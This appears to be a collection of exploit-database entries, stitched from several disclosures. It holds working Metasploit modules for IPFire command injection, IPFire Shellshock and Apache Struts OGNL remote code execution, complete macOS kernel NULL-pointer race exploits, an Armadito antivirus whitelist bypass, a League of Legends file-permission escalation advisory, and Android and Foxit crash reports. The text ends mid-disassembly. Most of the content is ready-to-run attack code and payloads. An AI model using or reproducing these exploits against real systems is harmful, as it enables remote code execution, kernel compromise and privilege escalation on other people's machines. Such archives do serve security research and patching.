//a6o_log(ARMADITO_LOG_SERVICE, ARMADITO_LOG_LEVEL_WARNING, " ArmaditoSvc!UserScanWorker :: [%d] :: ConvertDeviceNameToMsDosName failed :: \n", ThreadId);
scan_result = ARMADITO_EINVAL;
}
/* If it contains ARMADITO.TXT ... SERIOUSLY ? */
else if (strstr(msDosFilename, "ARMADITO.TXT") != NULL) { // Do not scan the log file. (debug only)
scan_result = ARMADITO_WHITE_LISTED;
printf("This file is not suspicious. Since it contains ARMADITO.txt ........... \n");
}
else {
/* Armadito basic scan */
printf("Armadito will now scan the file.\n");
// launch a simple file scan
//printf("[+] Debug :: UserScanWorker :: [%d] :: a6o_scan :: [%s] \n",ThreadId,msDosFilename);
//scan_result = a6o_scan_simple(Context->armadito, msDosFilename, &report);
//a6o_log(ARMADITO_LOG_SERVICE, ARMADITO_LOG_LEVEL_DEBUG, "[+] Debug :: UserScanWorker :: [%d] :: %s :: %s\n", ThreadId, msDosFilename, ScanResultToStr(scan_result));
//printf("[+] Debug :: UserScanWorker :: [%d] :: %s :: %s\n", ThreadId, msDosFilename, ScanResultToStr(scan_result));
}
printf("\n\n");
}
getchar();
return 0;
}
------------------------------------------------------------------------------------
# Exploit Title: Riot Games League of Legends Insecure File Permissions Privilege Escalation
# Date: 03/06/16
# Exploit Author: Cyril Vallicari (i give credit also to Vincent Yiu he
probably found this too)
# Vendor Homepage: http://www.leagueoflegends.com
# Version : LeagueofLegends_EUW_Installer_2016_05_13.exe (last version) and LeagueofLegends_EUW_Installer_9_15_2014.exe (an old one)
# Tested on: Windows 7 Professional x64 fully updated. But it should work on all windows system
Description:
The League of Legends Folder is installed with insecure file
permissions. It was found that all folder and most file permissions were
incorrectly configured during installation. It was possible to replace most
binaries.
This can be used to get a horizontal and vertical privilege escalation.
POC :
C:\Users\Utilisateur>icacls "C:\Riot Games\League of Legends"
C:\Riot Games\League of Legends BUILTIN\Administrateurs:(I)(F)
BUILTIN\Administrateurs:(I)(OI)(CI)(IO)(F)
AUTORITE NT\Système:(I)(F)
AUTORITE NT\Système:(I)(OI)(CI)(IO)(F)
BUILTIN\Utilisateurs:(I)(OI)(CI)(RX)
AUTORITE NT\Utilisateurs authentifiés:(I)(M)
AUTORITE NT\Utilisateurs
authentifiés:(I)(OI)(CI)(IO)(M)
POC video : https://www.youtube.com/watch?v=_t1kvXBGV2E
Additional Notes :
"Based on our assessment, we feel that the severity and risk related to
this issue is low. We are going to mark this as a won't fix as we're
planning on will be taking this functionality offline soon with our new
league client."
"we determined that there are some design choices regarding the game client
install location and default permissions that prevent us from changing the
current behavior."
I've try to explain that file permissions aren't a functionality that you
take offline or design choices, without success. Sorry guys you will have
to patch this manually..
Related report :
https://www.exploit-db.com/exploits/39903/
------------------------------------------------------------------------------------
##
## This module requires Metasploit: http://metasploit.com/download
## Current source: https://github.com/rapid7/metasploit-framework
###
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(
update_info(
info,
'Name' => 'IPFire proxy.cgi RCE',
'Description' => %q(
IPFire, a free linux based open source firewall distribution,
version < 2.19 Update Core 101 contains a remote command execution
vulnerability in the proxy.cgi page.
),
'Author' =>
[
'h00die <mike@stcyrsecurity.com>', # module
'Yann CAM' # discovery
],
'References' =>
[
[ 'EDB', '39765' ],
[ 'URL', 'www.ipfire.org/news/ipfire-2-19-core-update-101-released']
],
'License' => MSF_LICENSE,
'Platform' => 'unix',
'Privileged' => false,
'DefaultOptions' => { 'SSL' => true },
'Arch' => [ ARCH_CMD ],
'Payload' =>
{
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'perl awk openssl'
}
},
'Targets' =>
[
[ 'Automatic Target', {}]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'May 04 2016'
)
)
register_options(
[
OptString.new('USERNAME', [ true, 'User to login with', 'admin']),
OptString.new('PASSWORD', [ false, 'Password to login with', '']),
Opt::RPORT(444)
], self.class
)
end
def check
begin
res = send_request_cgi(
'uri' => '/cgi-bin/pakfire.cgi',
'method' => 'GET'
)
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code != 200
/\<strong\>IPFire (?<version>[\d.]{4}) \([\w]+\) - Core Update (?<update>[\d]+)/ =~ res.body
if version && update && version == "2.19" && update.to_i < 101
Exploit::CheckCode::Appears
else
Exploit::CheckCode::Safe
end
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
end
end
def exploit
begin
# To manually view the vuln page, click to proxy.cgi. At the bottom
# select Local, and save. Ignore the error box, at the bottom of
# the page click the button: User Management.
payload_formatted = "||#{payload.encoded};#"
post_data = "NCSA_USERNAME=#{Rex::Text.rand_text_alpha(10)}"
post_data << "&NCSA_GROUP=standard"
post_data << "&NCSA_PASS=#{Rex::Text.uri_encode(payload_formatted)}"
post_data << "&NCSA_PASS_CONFIRM=#{Rex::Text.uri_encode(payload_formatted)}"
post_data << "&SUBMIT=Create+user"
post_data << "&ACTION=Add"
post_data << "&NCSA_MIN_PASS_LEN=6"
res = send_request_cgi(
'uri' => '/cgi-bin/proxy.cgi',
'method' => 'POST',
'ctype' => 'application/x-www-form-urlencoded',
'headers' =>
{
'Referer' => "https://#{datastore['RHOST']}:#{datastore['RPORT']}/cgi-bin/proxy.cgi"
},
'data' => post_data
)
# success means we hang our session, and wont get back a response
if res
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code != 200
end
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
end
end
end
##
## This module requires Metasploit: http://metasploit.com/download
## Current source: https://github.com/rapid7/metasploit-framework
###
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(
update_info(
info,
'Name' => 'IPFire Bash Environment Variable Injection (Shellshock)',
'Description' => %q(
IPFire, a free linux based open source firewall distribution,
version <= 2.15 Update Core 82 contains an authenticated remote
command execution vulnerability via shellshock in the request headers.
),
'Author' =>
[
'h00die <mike@stcyrsecurity.com>', # module
'Claudio Viviani' # discovery
],
'References' =>
[
[ 'EDB', '34839' ],
[ 'CVE', '2014-6271']
],
'License' => MSF_LICENSE,
'Platform' => %w( linux unix ),
'Privileged' => false,
'DefaultOptions' =>
{
'SSL' => true,
'PAYLOAD' => 'cmd/unix/generic'
},
'Arch' => ARCH_CMD,
'Payload' =>
{
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic'
}
},
'Targets' =>
[
[ 'Automatic Target', {}]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Sep 29 2014'
)
)
register_options(
[
OptString.new('USERNAME', [ true, 'User to login with', 'admin']),
OptString.new('PASSWORD', [ false, 'Password to login with', '']),
Opt::RPORT(444)
], self.class
)
end
def check
begin
res = send_request_cgi(
'uri' => '/cgi-bin/index.cgi',
'method' => 'GET'
)
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code == 401
/\<strong\>IPFire (?<version>[\d.]{4}) \([\w]+\) - Core Update (?<update>[\d]+)/ =~ res.body
if version && update && version == "2.15" && update.to_i < 83
Exploit::CheckCode::Appears
else
Exploit::CheckCode::Safe
end
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
end
end
#
# CVE-2014-6271
#
def cve_2014_6271(cmd)
%{() { :;}; /bin/bash -c "#{cmd}" }
end
def exploit
begin
payload = cve_2014_6271(datastore['CMD'])
vprint_status("Exploiting with payload: #{payload}")
res = send_request_cgi(
'uri' => '/cgi-bin/index.cgi',
'method' => 'GET',
'headers' => { 'VULN' => payload }
)
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code == 401
/<li>Device: \/dev\/(?<output>.+) reports/m =~ res.body
print_good(output) unless output.nil?
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
end
end
end
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
def initialize(info = {})
super(update_info(info,
'Name' => 'Apache Struts REST Plugin With Dynamic Method Invocation Remote Code Execution',
'Description' => %q{
This module exploits a remote command execution vulnerability in Apache Struts
version between 2.3.20 and 2.3.28 (except 2.3.20.2 and 2.3.24.2). Remote Code
Execution can be performed when using REST Plugin with ! operator when
Dynamic Method Invocation is enabled.
},
'Author' => [
'Nixawk' # original metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2016-3087' ],
[ 'URL', 'https://www.seebug.org/vuldb/ssvid-91741' ]
],
'Platform' => %w{ java linux win },
'Privileged' => true,
'Targets' =>
[
['Windows Universal',
{
'Arch' => ARCH_X86,
'Platform' => 'win'
}
],
['Linux Universal',
{
'Arch' => ARCH_X86,
'Platform' => 'linux'
}
],
[ 'Java Universal',
{
'Arch' => ARCH_JAVA,
'Platform' => 'java'
},
]
],
'DisclosureDate' => 'Jun 01 2016',
'DefaultTarget' => 2))
register_options(
[
Opt::RPORT(8080),
OptString.new('TARGETURI', [ true, 'The path to a struts application action', '/struts2-rest-showcase/orders/3/']),
OptString.new('TMPPATH', [ false, 'Overwrite the temp path for the file upload. Needed if the home directory is not writable.', nil])
], self.class)
end
def print_status(msg='')
super("#{peer} - #{msg}")
end
def get_target_platform
target.platform.platforms.first
end
def temp_path
@TMPPATH ||= lambda {
path = datastore['TMPPATH']
return nil unless path
case get_target_platform
when Msf::Module::Platform::Windows
slash = '\\'
when
slash = '/'
else
end
unless path.end_with?('/')
path << '/'
end
return path
}.call
end
def send_http_request(payload, params_hash)
uri = normalize_uri(datastore['TARGETURI'])
uri = "#{uri}/#{payload}"
resp = send_request_cgi(
'uri' => uri,
'version' => '1.1',
'method' => 'POST',
'vars_post' => params_hash
)
if resp && resp.code == 404
fail_with(Failure::BadConfig, 'Server returned HTTP 404, please double check TARGETURI')
end
resp
end
def generate_rce_payload(code)
payload = ""
payload << Rex::Text.uri_encode("#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS")
payload << ","
payload << Rex::Text.uri_encode(code)
payload << ","
payload << Rex::Text.uri_encode("#xx.toString.json")
payload << "?"
payload << Rex::Text.uri_encode("#xx:#request.toString")
payload
end
def upload_exec(cmd, filename, content)
var_a = rand_text_alpha_lower(4)
var_b = rand_text_alpha_lower(4)
var_c = rand_text_alpha_lower(4)
var_d = rand_text_alpha_lower(4)
var_e = rand_text_alpha_lower(4)
var_f = rand_text_alpha_lower(4)
code = "##{var_a}=new sun.misc.BASE64Decoder(),"
code << "##{var_b}=new java.io.FileOutputStream(new java.lang.String(##{var_a}.decodeBuffer(#parameters.#{var_e}[0]))),"
code << "##{var_b}.write(new java.math.BigInteger(#parameters.#{var_f}[0], 16).toByteArray()),##{var_b}.close(),"
code << "##{var_c}=new java.io.File(new java.lang.String(##{var_a}.decodeBuffer(#parameters.#{var_e}[0]))),##{var_c}.setExecutable(true),"
code << "@java.lang.Runtime@getRuntime().exec(new java.lang.String(##{var_a}.decodeBuffer(#parameters.#{var_d}[0])))"
payload = generate_rce_payload(code)
params_hash = {
var_d => Rex::Text.encode_base64(cmd),
var_e => Rex::Text.encode_base64(filename),
var_f => content
}
send_http_request(payload, params_hash)
end
def check
var_a = rand_text_alpha_lower(4)
var_b = rand_text_alpha_lower(4)
addend_one = rand_text_numeric(rand(3) + 1).to_i
addend_two = rand_text_numeric(rand(3) + 1).to_i
sum = addend_one + addend_two
flag = Rex::Text.rand_text_alpha(5)
code = "##{var_a}=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),"
code << "##{var_a}.print(#parameters.#{var_b}[0]),"
code << "##{var_a}.print(new java.lang.Integer(#{addend_one}+#{addend_two})),"
code << "##{var_a}.print(#parameters.#{var_b}[0]),"
code << "##{var_a}.close()"
payload = generate_rce_payload(code)
params_hash = { var_b => flag }
begin
resp = send_http_request(payload, params_hash)
rescue Msf::Exploit::Failed
return Exploit::CheckCode::Unknown
end
if resp && resp.code == 200 && resp.body.include?("#{flag}#{sum}#{flag}")
Exploit::CheckCode::Vulnerable
else
Exploit::CheckCode::Safe
end
end
def exploit
payload_exe = rand_text_alphanumeric(4 + rand(4))
case target['Platform']
when 'java'
payload_exe = "#{temp_path}#{payload_exe}.jar"
pl_exe = payload.encoded_jar.pack
command = "java -jar #{payload_exe}"
when 'linux'
path = datastore['TMPPATH'] || '/tmp/'
pl_exe = generate_payload_exe
payload_exe = "#{path}#{payload_exe}"
command = "/bin/sh -c #{payload_exe}"
when 'win'
path = temp_path || '.\\'
pl_exe = generate_payload_exe
payload_exe = "#{path}#{payload_exe}.exe"
command = "cmd.exe /c #{payload_exe}"
else
fail_with(Failure::NoTarget, 'Unsupported target platform!')
end
pl_content = pl_exe.unpack('H*').join()
print_status("Uploading exploit to #{payload_exe}, and executing it.")
upload_exec(command, payload_exe, pl_content)
handler
end
end
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=784
The method nvCommandQueue::GetHandleIndex doesn't check whether this+0x5b8 is non-null before using it.
We can race a call to this method this with another thread calling IOServiceClose to get a NULL pointer there.
By mapping the NULL page in userspace this gives us trivial kernel RIP control as the code makes a virtual call on a NULL object pointer.
tested on OS X 10.11.4 (15E65) MacBookPro 10,1
*/
// ianbeer
// clang -o nv_command_queue_race nv_command_queue_race.c -framework IOKit -m32 -lpthread -pagezero_size 0x0
/*
OS X exploitable kernel NULL pointer dereference in nvCommandQueue::GetHandleIndex in GeForce.kext
The method nvCommandQueue::GetHandleIndex doesn't check whether this+0x5b8 is non-null before using it.
We can race a call to this method this with another thread calling IOServiceClose to get a NULL pointer there.
By mapping the NULL page in userspace this gives us trivial kernel RIP control as the code makes a virtual call on a NULL object pointer.
tested on OS X 10.11.4 (15E65) MacBookPro 10,1
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <IOKit/IOKitLib.h>
#include <libkern/OSAtomic.h>
#include <mach/thread_act.h>
#include <pthread.h>
#include <mach/mach.h>
#include <mach/vm_map.h>
#include <sys/mman.h>
unsigned int selector = 0;
uint64_t inputScalar[16];
size_t inputScalarCnt = 0;
uint8_t inputStruct[40960];
size_t inputStructCnt = 0;
uint64_t outputScalar[16] = {0};
uint32_t outputScalarCnt = 0;
char outputStruct[40960] = {0};
size_t outputStructCnt = 0;
io_connect_t global_conn = MACH_PORT_NULL;
void set_params(io_connect_t conn){
global_conn = conn;
selector = 0x100; // GetHandleData
inputScalarCnt = 0;
inputStructCnt = 0;
outputScalarCnt = 16;
outputStructCnt = 4096;
}
void make_iokit_call(){
IOConnectCallMethod(
global_conn,
selector,
inputScalar,
inputScalarCnt,
inputStruct,
inputStructCnt,
outputScalar,
&outputScalarCnt,
outputStruct,
&outputStructCnt);
}
OSSpinLock lock = OS_SPINLOCK_INIT;
void* thread_func(void* arg){
int got_it = 0;
while (!got_it) {
got_it = OSSpinLockTry(&lock);
}
// usleep(1);
make_iokit_call();
OSSpinLockUnlock(&lock);
return NULL;
}
mach_port_t get_user_client(char* name, int type) {
kern_return_t err;
CFMutableDictionaryRef matching = IOServiceMatching(name);
if(!matching){
printf("unable to create service matching dictionary\n");
return 0;
}
io_iterator_t iterator;
err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);
if (err != KERN_SUCCESS){
printf("no matches\n");
return 0;
}
io_service_t service = IOIteratorNext(iterator);
if (service == IO_OBJECT_NULL){
printf("unable to find service\n");
return 0;
}
printf("got service: %x\n", service);
io_connect_t conn = MACH_PORT_NULL;
err = IOServiceOpen(service, mach_task_self(), type, &conn);
if (err != KERN_SUCCESS){
printf("unable to get user client connection\n");
return 0;
}
printf("got userclient connection: %x\n", conn);
return conn;
}
void poc() {
OSSpinLockLock(&lock);
pthread_t t;
pthread_create(&t, NULL, thread_func, NULL);
mach_port_t conn = get_user_client("nvAccelerator", 9); //nvCommandQueue
set_params(conn);
OSSpinLockUnlock(&lock);
IOServiceClose(conn);
pthread_join(t, NULL);
}
int main(int argc, char** argv){
kern_return_t err;
// re map the null page rw
int var = 0;
err = vm_deallocate(mach_task_self(), 0x0, 0x1000);
if (err != KERN_SUCCESS){
printf("%x\n", err);
}
vm_address_t addr = 0;
err = vm_allocate(mach_task_self(), &addr, 0x1000, 0);
if (err != KERN_SUCCESS){
if (err == KERN_INVALID_ADDRESS){
printf("invalid address\n");
}
if (err == KERN_NO_SPACE){
printf("no space\n");
}
printf("%x\n", err);
}
char* np = 0;
for (int i = 0; i < 0x1000; i++){
np[i] = '\x41';
}
for (;;) {
poc();
}
return 0;
}
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=783
The method AppleGraphicsControlClient::checkArguments does actually appear to test whether the pointer at this+0xd8 is non-null, but uses it anyway :)
We can race external methods which call this with another thread calling IOServiceClose to get a NULL pointer there.
By mapping the NULL page in userspace this gives us trivial kernel RIP control as the code makes a virtual call on a NULL object pointer.
tested on OS X 10.11.4 (15E65) MacBookPro 10,1
*/
// ianbeer
// clang -o mux_control_race mux_control_race.c -framework IOKit -m32 -lpthread -pagezero_size 0x0
/*
OS X exploitable kernel NULL pointer dereference in AppleMuxControl.kext
The method AppleGraphicsControlClient::checkArguments does actually appear to test whether the pointer at this+0xd8 is non-null, but uses it anyway :)
We can race external methods which call this with another thread calling IOServiceClose to get a NULL pointer there.
By mapping the NULL page in userspace this gives us trivial kernel RIP control as the code makes a virtual call on a NULL object pointer.
tested on OS X 10.11.4 (15E65) MacBookPro 10,1
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <IOKit/IOKitLib.h>
#include <libkern/OSAtomic.h>
#include <mach/thread_act.h>
#include <pthread.h>
#include <mach/mach.h>
#include <mach/vm_map.h>
#include <sys/mman.h>
unsigned int selector = 0;
uint64_t inputScalar[16];
size_t inputScalarCnt = 0;
uint8_t inputStruct[40960];
size_t inputStructCnt = 0;
uint64_t outputScalar[16] = {0};
uint32_t outputScalarCnt = 0;
char outputStruct[40960] = {0};
size_t outputStructCnt = 0;
io_connect_t global_conn = MACH_PORT_NULL;
void set_params(io_connect_t conn){
global_conn = conn;
selector = 9; // getAGCData
inputScalarCnt = 0;
inputStructCnt = 0;
outputScalarCnt = 16;
outputStructCnt = 4096;
}
void make_iokit_call(){
IOConnectCallMethod(
global_conn,
selector,
inputScalar,
inputScalarCnt,
inputStruct,
inputStructCnt,
outputScalar,
&outputScalarCnt,
outputStruct,
&outputStructCnt);
}
OSSpinLock lock = OS_SPINLOCK_INIT;
void* thread_func(void* arg){
int got_it = 0;
while (!got_it) {
got_it = OSSpinLockTry(&lock);
}
// usleep(1);
make_iokit_call();
OSSpinLockUnlock(&lock);
return NULL;
}
mach_port_t get_user_client(char* name, int type) {
kern_return_t err;
CFMutableDictionaryRef matching = IOServiceMatching(name);
if(!matching){
printf("unable to create service matching dictionary\n");
return 0;
}
io_iterator_t iterator;
err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);
if (err != KERN_SUCCESS){
printf("no matches\n");
return 0;
}
io_service_t service = IOIteratorNext(iterator);
if (service == IO_OBJECT_NULL){
printf("unable to find service\n");
return 0;
}
printf("got service: %x\n", service);
io_connect_t conn = MACH_PORT_NULL;
err = IOServiceOpen(service, mach_task_self(), type, &conn);
if (err != KERN_SUCCESS){
printf("unable to get user client connection\n");
return 0;
}
printf("got userclient connection: %x\n", conn);
return conn;
}
void poc() {
OSSpinLockLock(&lock);
pthread_t t;
pthread_create(&t, NULL, thread_func, NULL);
mach_port_t conn = get_user_client("AppleMuxControl", 0);
set_params(conn);
OSSpinLockUnlock(&lock);
IOServiceClose(conn);
pthread_join(t, NULL);
}
int main(int argc, char** argv){
kern_return_t err;
// re map the null page rw
int var = 0;
err = vm_deallocate(mach_task_self(), 0x0, 0x1000);
if (err != KERN_SUCCESS){
printf("%x\n", err);
}
vm_address_t addr = 0;
err = vm_allocate(mach_task_self(), &addr, 0x1000, 0);
if (err != KERN_SUCCESS){
if (err == KERN_INVALID_ADDRESS){
printf("invalid address\n");
}
if (err == KERN_NO_SPACE){
printf("no space\n");
}
printf("%x\n", err);
}
char* np = 0;
for (int i = 0; i < 0x1000; i++){
np[i] = '\x41';
}
for (;;) {
poc();
}
return 0;
}
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=798
Android: Stack-buffer-overflow in /system/bin/sdcard
There's an integer overflow issue in get_node_path_locked, which results in
a buffer overflow. For all of the calling paths, this is going to overflow a
stack buffer in the parent function:
static ssize_t get_node_path_locked(struct node* node, char* buf, size_t bufsize) {
const char* name;
size_t namelen;
if (node->graft_path) {
name = node->graft_path;
namelen = node->graft_pathlen;
} else if (node->actual_name) {
name = node->actual_name;
namelen = node->namelen;
} else {
name = node->name;
namelen = node->namelen;
}
// when bufsize == namelen + 1
if (bufsize < namelen + 1) {
return -1;
}
ssize_t pathlen = 0;
if (node->parent && node->graft_path == NULL) {
// bufsize - namelen - 2 overflows to SIZE_MAX
pathlen = get_node_path_locked(node->parent, buf, bufsize - namelen - 2);
if (pathlen < 0) {
return -1;
}
buf[pathlen++] = '/';
}
memcpy(buf + pathlen, name, namelen + 1); /* include trailing \0 */
return pathlen + namelen;
}
This can be triggered by a malicious app creating a directory structure in
/sdcard with a total path length longer than PATH_MAX, which can be achieved by
creating a directory heirarchy starting with several directories with short
names and later renaming these parent directories to have longer names. See the
attached POC, which can be run from the 'untrusted_app' selinux domain.
It appears that the overflow is close enough to the bottom of the stack that
with a large overflow we can corrupt thread data that is used before the stack
cookie is checked, suggesting that this issue is possibly exploitable despite
the presence of stack cookies.
(gdb) i r
r0 0xb 11
r1 0x1 1
r2 0x41414199 1094795673
r3 0x41414141 1094795585
r4 0x80000000 2147483648
r5 0x0 0
r6 0xb6e40ec0 3068399296
r7 0xb6cbe860 3066816608
r8 0xb6e4930c 3068433164
r9 0xb6e3c594 3068380564
r10 0xbee4c9ac 3202664876
r11 0xb6943180 3063165312
r12 0xb6e3c908 3068381448
sp 0xb6cbe7a0 0xb6cbe7a0
lr 0xb6e1daad -1226712403
pc 0xb6e06ade 0xb6e06ade <pthread_getspecific(pthread_key_t)+34>
cpsr 0x80070030 -2147024848
(gdb) x/10i $pc
=> 0xb6e06ade <pthread_getspecific(pthread_key_t)+34>: ldr r4, [r2, #100] ; 0x64
0xb6e06ae0 <pthread_getspecific(pthread_key_t)+36>: cmp r4, r1
0xb6e06ae2 <pthread_getspecific(pthread_key_t)+38>: bne.n 0xb6e06aec <pthread_getspecific(pthread_key_t)+48>
0xb6e06ae4 <pthread_getspecific(pthread_key_t)+40>: ldr r0, [r2, #104] ; 0x68
0xb6e06ae6 <pthread_getspecific(pthread_key_t)+42>: pop {r4, pc}
0xb6e06ae8 <pthread_getspecific(pthread_key_t)+44>: movs r0, #0
0xb6e06aea <pthread_getspecific(pthread_key_t)+46>: pop {r4, pc}
0xb6e06aec <pthread_getspecific(pthread_key_t)+48>: adds r0, #12
0xb6e06aee <pthread_getspecific(pthread_key_t)+50>: add.w r12, r3, r0, lsl #3
0xb6e06af2 <pthread_getspecific(pthread_key_t)+54>: movs r0, #0
(gdb) bt
#0 0xb6e06ade in pthread_getspecific (key=11) at bionic/libc/bionic/pthread_key.cpp:160
#1 0xb6e1daac in je_tsd_wrapper_get () at external/jemalloc/include/jemalloc/internal/tsd.h:609
#2 je_tsd_get () at external/jemalloc/include/jemalloc/internal/tsd.h:609
#3 je_tsd_fetch () at external/jemalloc/include/jemalloc/internal/tsd.h:614
#4 imalloc_body (usize=<synthetic pointer>, tsd=<synthetic pointer>, size=4) at external/jemalloc/src/jemalloc.c:1401
#5 je_malloc (size=4) at external/jemalloc/src/jemalloc.c:1423
#6 0xb6f3bb3e in handle_open (fuse=0xbee478c8, hdr=0xbee4c984, req=<optimized out>, handler=<optimized out>)
at system/core/sdcard/sdcard.c:1193
#7 0x41414140 in ?? ()
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39921.zip
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=742
We have identified the following memory corruption vulnerability in Foxit PDF Reader (version 1.0.1.0925 for Linux 64-bit), when started with a specially crafted PDF file in the following way:
$ DISPLAY=:1 FoxitReader /path/to/poc/file.pdf
The DISPLAY=:1 environment variable is set due to the fact that we are testing the application with a virtual X server (Xvfb), but the issue should be equally reproducible with the program started with standard display settings, too.
An example excerpt from the crash log is as follows:
--- cut ---
Program received signal SIGSEGV, Segmentation fault.
0x0000000000aab96c in CFX_BaseSegmentedArray::IterateIndex(int, int&, void**, int (*)(void*, void*), void*) const ()
(gdb) where
#0 0x0000000000aab96c in CFX_BaseSegmentedArray::IterateIndex(int, int&, void**, int (*)(void*, void*), void*) const ()
#1 0x0000000000aab9dc in CFX_BaseSegmentedArray::Iterate(int (*)(void*, void*), void*) const ()
#2 0x0000000000ab1a99 in CFX_CMapByteStringToPtr::Lookup(CFX_ByteStringC const&, void*&) const ()
#3 0x00000000007db5df in CPDF_Dictionary::KeyExist(CFX_ByteStringC const&) const ()
#4 0x000000000070e6a6 in CBMTreeCtrl::GotoBookmark(CPDF_Bookmark, CPDF_Bookmark) ()
#5 0x000000000070e6e3 in CBMTreeCtrl::GotoBookmark(CPDF_Bookmark, CPDF_Bookmark) ()
#6 0x000000000070f986 in CBMTreeCtrl::on_ItemExpanded(QTreeWidgetItem*) ()
#7 0x00007ffff63682a6 in QMetaObject::activate(QObject*, int, int, void**) ()
from /usr/lib/x86_64-linux-gnu/libQt5Core.so.5
#8 0x00007ffff7722612 in QTreeWidget::itemExpanded(QTreeWidgetItem*) ()
from /usr/lib/x86_64-linux-gnu/libQt5Widgets.so.5
#9 0x00007ffff63682a6 in QMetaObject::activate(QObject*, int, int, void**) ()
from /usr/lib/x86_64-linux-gnu/libQt5Core.so.5
#10 0x00007ffff76ecc92 in QTreeView::expanded(QModelIndex const&) ()
from /usr/lib/x86_64-linux-gnu/libQt5Widgets.so.5
#11 0x00007ffff76f8903 in QTreeView::expand(QModelIndex const&) ()
from /usr/lib/x86_64-linux-gnu/libQt5Widgets.so.5
#12 0x00007ffff7724e44 in QTreeWidget::expandItem(QTreeWidgetItem const*) ()
from /usr/lib/x86_64-linux-gnu/libQt5Widgets.so.5
#13 0x000000000070a0cb in CBMTreeView::ReBuildTree_Proc(CFX_BookMarkPanelToolHandler*, CPDF_Document*, CPDF_Bookmark, QTreeWidgetItem*, int, int) ()
#14 0x000000000070a4c7 in CBMTreeView::ReBuildTree_Proc(CFX_BookMarkPanelToolHandler*, CPDF_Document*, CPDF_Bookmark, QTreeWidgetItem*, int, int) ()
#15 0x000000000070a83d in CBMTreeView::ReBuildTree_Proc(CFX_BookMarkPanelToolHandler*, CPDF_Document*, CPDF_Bookmark, QTreeWidgetItem*, int, int) ()
#16 0x000000000070a83d in CBMTreeView::ReBuildTree_Proc(CFX_BookMarkPanelToolHandler*, CPDF_Document*, CPDF_Bookmark, QTreeWidgetItem*, int, int) ()
#17 0x000000000070beb6 in CBMTreeView::ReBuildTree(int) ()
#18 0x000000000051eaff in CChildFrame::GetPanelMgrEx (this=0x1a1c3b0)
at ../../Readerlite/ReaderLite/src/childframe.cpp:91
#19 0x00000000005000c1 in CReader_DocViewEx::InitViewData (this=0x194ce60)
at ../../Readerlite/ReaderLite/src/frd_docviewex.cpp:61
#20 0x000000000048e691 in CPDF_OwnerFileTypeHandler::OpenContinueNormal (this=0x14c5470, pdoc=0x193a720,
filePath=...) at ../../Readerlite/ReaderLite/src/pdfeventhandler.cpp:99
#21 0x000000000048f754 in CPDF_OwnerFileTypeHandler::DoOpen (this=0x14c5470, csFilterName=...,
wsPathName=...) at ../../Readerlite/ReaderLite/src/pdfeventhandler.cpp:216
#22 0x000000000045d038 in CReader_AppEx::OwnerFileTypeHandlerDoOpen (this=0x14a47e0, csFDFFile=...)
at ../../Readerlite/ReaderLite/src/frd_appex.cpp:941
#23 0x000000000043caac in CMainWindow::OpenFile (this=0x14c4240, fileName=...)
at ../../Readerlite/ReaderLite/src/mainwindow.cpp:434
#24 0x0000000000439da9 in main (argc=2, argv=0x7fffffffe298) at ../../Readerlite/ReaderLite/src/main.cpp:301
(gdb) x/10i $rip
=> 0xaab96c <_ZNK22CFX_BaseSegmentedArray12IterateIndexEiRiPPvPFiS1_S1_ES1_+94>:
mov 0x0(%r13,%rbp,8),%rcx
0xaab971 <_ZNK22CFX_BaseSegmentedArray12IterateIndexEiRiPPvPFiS1_S1_ES1_+99>: test %rcx,%rcx
0xaab974 <_ZNK22CFX_BaseSegmentedArray12IterateIndexEiRiPPvPFiS1_S1_ES1_+102>:
jne 0xaab983 <_ZNK22CFX_BaseSegmentedArray12IterateIndexEiRiPPvPFiS1_S1_ES1_+117>
0xaab976 <_ZNK22CFX_BaseSegmentedArray12IterateIndexEiRiPPvPFiS1_S1_ES1_+104>: inc %rbp
0xaab979 <_ZNK22CFX_BaseSegmentedArray12IterateIndexEiRiPPvPFiS1_S1_ES1_+107>: movzbl 0xe(%rbx),%eax
